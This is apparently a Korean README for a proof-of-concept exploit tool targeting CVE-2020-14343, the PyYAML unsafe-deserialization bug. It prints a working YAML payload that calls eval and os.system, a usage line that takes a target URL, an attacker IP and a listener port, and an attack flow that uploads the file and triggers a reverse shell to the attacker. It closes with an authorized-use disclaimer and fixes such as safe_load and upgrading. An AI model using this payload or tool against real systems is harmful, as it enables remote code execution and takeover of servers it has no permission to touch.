CVE-2020-14343 PyYAML 역직렬화 취약점 POC

취약점 개요

항목	정보
CVE 번호	CVE-2020-14343
영향 컴포넌트	PyYAML < 5.4
취약점 유형	역직렬화 원격 코드 실행 (RCE)
위험 등급	높음

취약점 원리

PyYAML은 yaml.load()로 신뢰할 수 없는 데이터를 파싱할 때 위험한 YAML 태그(예: !!python/object)를 제한하지 않으며, 공격자는 악성 YAML 콘텐츠를 구성하여 임의의 Python 코드를 실행할 수 있습니다.

Payload 핵심:

!!python/object/new:tuple
  - !!python/object/new:map
    - !!python/name:eval
    - ["__import__('os').system('command')"]

사용 방법

python poc.py <目标URL> <攻击者IP> <监听端口>

예시:

python poc.py http://vulnerable-site.com 192.168.1.100 4444

공격 흐름

1. 스크립트가 로컬에서 TCP 리스너를 시작합니다
2. 악성 YAML 파일을 대상의 /upload 엔드포인트에 업로드합니다
3. /login 엔드포인트를 트리거하여 YAML을 로드하고 파싱합니다
4. 대상 서버가 payload를 실행하여 공격자에게 리버스 셸을 전송합니다

의존성 설치

pip install requests

면책 조항

⚠️ 이 도구는 보안 연구 및 승인된 테스트 용도로만 사용하세요!

• 불법적인 용도로 사용하지 마세요
• 사용 전에 대상 시스템의 승인을 받았는지 확인하세요
• 작성자는 어떠한 오용 행위에도 책임을 지지 않습니다

수정 권장 사항

1. yaml.load() 대신 yaml.safe_load()를 사용하세요
2. PyYAML을 5.4 이상 버전으로 업그레이드하세요
3. 사용자 입력을 엄격하게 검증하세요

참고 링크

• CVE-2020-14343 - NVD
• PyYAML 공식 문서